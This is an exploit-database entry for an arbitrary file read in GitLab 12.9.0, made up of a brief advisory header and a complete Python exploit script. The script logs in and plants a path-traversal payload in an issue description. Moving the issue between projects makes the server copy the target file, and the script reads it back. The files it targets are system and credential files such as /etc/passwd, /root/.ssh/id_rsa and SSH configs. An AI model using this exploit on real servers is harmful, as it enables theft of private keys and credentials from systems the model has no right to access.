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GitLab
by:
KouroshRZ
7.5
CVSS
HIGH
Arbitrary File Read
22
CWE
Product Name: GitLab
Affected Version From: 12.9.0
Affected Version To: 12.9.0
Patch Exists: YES
Related CWE: N/A
CPE: a:gitlab:gitlab
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Ubuntu 18.04
2020

GitLab 12.9.0 – Arbitrary File Read

An arbitrary file read vulnerability exists in GitLab version 12.9.0. An attacker can exploit this vulnerability to read arbitrary files from the server. This vulnerability is OS independent and affects all supported platforms.

Mitigation:

Upgrade to the latest version of GitLab to mitigate this vulnerability.
Source

Exploit-DB raw data:

# Exploit Title: GitLab 12.9.0 - Arbitrary File Read 
# Google Dork: -
# Date: 2020-05-03
# Exploit Author: KouroshRZ
# Vendor Homepage: https://about.gitlab.com
# Software Link: https://about.gitlab.com/install
# Version: tested on gitlab version 12.9.0
# Tested on: Ubuntu 18.04 (but it's OS independent)
# CVE : -

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# Exploit Title: automated exploit for Arbitrary file read via the UploadsRewriter when moving and issue in private gitlab server
# Google Dork: -
# Date: 05/03/2020
# Exploit Author: KouroshRZ
# Vendor Homepage: https://about.gitlab.com
# Software Link: https://about.gitlab.com/install
# Version: tested on gitlab version 12.9.0
# Tested on: Ubuntu 18.04 (but it's OS independent)
# CVE : -

import requests
import json
from time import sleep

# For debugging
proxies = {
    'http' : '127.0.0.1:8080',
    'https' : '127.0.0.1:8080'
}

session = requests.Session()

# config
host = 'http[s]://<gitlab-address>'
username = '<you-gitlab-username>'
password = '<your-gitlab-password>'
lastIssueUrl = ""

def loginToGitLab(username, password):

    initLoginUrl = '{}/users/sign_in'.format(host)

    initLoginResult = session.get(initLoginUrl).text

    temp_index_csrf_param_start = initLoginResult.find("csrf-param")
    temp_index_csrf_param_end = initLoginResult.find("/>", temp_index_csrf_param_start)
    csrf_param = initLoginResult[temp_index_csrf_param_start + 21 : temp_index_csrf_param_end - 2]

    temp_index_csrf_token_start = initLoginResult.find("csrf-token")
    temp_index_csrf_token_end = initLoginResult.find("/>", temp_index_csrf_token_start)
    csrf_token = initLoginResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]

    # print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")

    submitLoginUrl = '{}/users/auth/ldapmain/callback'.format(host)

    submitLoginData = {
        'utf8=' : '✓',
        csrf_param : csrf_token,
        'username' : username,
        'password' : password,
    }

    submitLoginResult = session.post(submitLoginUrl, submitLoginData, allow_redirects=False)
    
    if submitLoginResult.status_code == 302 and submitLoginResult.text.find('redirected') > -1:
        print("[+] You'e logged in ...")


def createNewProject(projectName):


    initProjectUrl = '{}/projects/new'.format(host)

    initProjectResult = session.get(initProjectUrl).text

    temp_index_csrf_param_start = initProjectResult.find("csrf-param")
    temp_index_csrf_param_end = initProjectResult.find("/>", temp_index_csrf_param_start)
    csrf_param = initProjectResult[temp_index_csrf_param_start + 21 : temp_index_csrf_param_end - 2]

    temp_index_csrf_token_start = initProjectResult.find("csrf-token")
    temp_index_csrf_token_end = initProjectResult.find("/>", temp_index_csrf_token_start)
    csrf_token = initProjectResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]

    # print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")

    tmp_index_1 = initProjectResult.find('{}/{}/\n'.format(host, username))
    tmp_index_2 = initProjectResult.find('value', tmp_index_1)
    tmp_index_3 = initProjectResult.find('type', tmp_index_2)
    namespace = initProjectResult[tmp_index_2 + 7 : tmp_index_3 - 2]

    createProjectUrl = '{}/projects'.format(host)
    createProjectData = {
        'utf8=' : '✓',
        csrf_param : csrf_token,
        'project[ci_cd_only]' : 'false',
        'project[name]' : projectName,
        'project[namespace_id]' : namespace,
        'project[path]' : projectName,
        'project[description]' : '',
        'project[visibility_level]' : '0'
    }

    createProjectResult = session.post(createProjectUrl, createProjectData, allow_redirects=False)
    
    if createProjectResult.status_code == 302:

        print("[+] New Project {} created ...".format(projectName))

def createNewIssue(projectName, issueTitle, file):

    global lastIssueUrl

    initIssueUrl = '{}/{}/{}/-/issues/new'.format(host, username, projectName)

    initIssueResult = session.get(initIssueUrl).text

    temp_index_csrf_param_start = initIssueResult.find("csrf-param")
    temp_index_csrf_param_end = initIssueResult.find("/>", temp_index_csrf_param_start)
    csrf_param = initIssueResult[temp_index_csrf_param_start + 21 : temp_index_csrf_param_end - 2]

    temp_index_csrf_token_start = initIssueResult.find("csrf-token")
    temp_index_csrf_token_end = initIssueResult.find("/>", temp_index_csrf_token_start)
    csrf_token = initIssueResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]

    # print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")

    createIssueUrl = '{}/{}/{}/-/issues'.format(host , username, projectName)

    createIssueData = {
        'utf8=' : '✓',
        csrf_param : csrf_token,
        'issue[title]' : issueTitle,
        'issue[description]' : '![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../..{})'.format(file),
        'issue[confidential]' : '0',
        'issue[assignee_ids][]' : '0',
        'issue[label_ids][]' : '',
        'issue[due_date]' : '',
        'issue[lock_version]' : '0'
    }

    createIssueResult = session.post(createIssueUrl, createIssueData, allow_redirects=False)

    if createIssueResult.status_code == 302:

        print("[+] New issue for {} created ...".format(projectName))
        tmp_index_1 = createIssueResult.text.find("href")
        tmp_index_2 = createIssueResult.text.find("redirected")
        lastIssueUrl = createIssueResult.text[tmp_index_1 + 6: tmp_index_2 - 2]
        print("[+] url of craeted issue : {}\n".format(lastIssueUrl))

def moveLastIssue(source, destination, file):

    # Get destination project ID

    getProjectIdUrl = '{}/{}/{}'.format(host, username, destination)
    getProjectIdResult = session.get(getProjectIdUrl).text

    tmpIndex = getProjectIdResult.find('/search?project_id')
    projectId = getProjectIdResult[tmpIndex + 19 : tmpIndex + 21]
    #print("Project : {} ID ----> {}\n".format(destination, projectId))

    # Get CSRF token for moving issue
    # initIssueMoveUrl = '{}/{}/{}/-/issues/{}'.format(host, username, source, issue)
    initIssueMoveUrl = lastIssueUrl
    initIssueMoveResult = session.get(initIssueMoveUrl).text

    temp_index_csrf_token_start = initIssueMoveResult.find("csrf-token")
    temp_index_csrf_token_end = initIssueMoveResult.find("/>", temp_index_csrf_token_start)
    csrf_token = initIssueMoveResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]

    # print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")

    # Move issue with associated CSRF token
    # moveIssueUrl = "{}/{}/{}/-/issues/{}/move".format(host, username, source, issue)
    moveIssueUrl = lastIssueUrl + "/move"
    moveIssueData = json.dumps({
        "move_to_project_id" : int(projectId)
    })
    headers = {
        'X-CSRF-Token' : csrf_token,
        'X-Requested-With' : 'XMLHttpRequest',
        'Content-Type' : 'application/json;charset=utf-8'
    }
    moveIssueResult = session.post(moveIssueUrl, headers = headers, data = moveIssueData, allow_redirects = False)

    if moveIssueResult.status_code == 500:
        print("[!] Permission denied for {}".format(file))
    else:
        description = json.loads(moveIssueResult.text)["description"]
        tmp_index = description.find("/")
        fileUrl = "{}/{}/{}/{}".format(host, username, destination, description[tmp_index+1:-1])

        print("[+] url of file {}: \n".format(f, fileUrl))
        fileContentResult = session.get(fileUrl)

        if fileContentResult.status_code == 404:
            print("[-] No such file or directory : {}".format(f))
        else:
            print("[+] Content of file {} read from server ...\n\n".format(f))
            print(fileContentResult.text)
	    
    print("\n****************************************************************************************\n")



if __name__ == "__main__":

    loginToGitLab(username, password)

    createNewProject("project_01")
    createNewProject("project_02")

    # Put the files you want to read from server here
	# The files on server should have **4 or more permission (world readable files)
    files = {
        '/etc/passwd',
        '/etc/ssh/sshd_config',
        '/etc/ssh/ssh_config',
        '/root/.ssh/id_rsa',
        '/var/log/auth.log'
		# ...
		# ...
		# ...
    } 

    
    for f in files:
        createNewIssue("project_01", "issue01_{}".format(f), f)
        moveLastIssue("project_01", "project_02",f)
        sleep(3)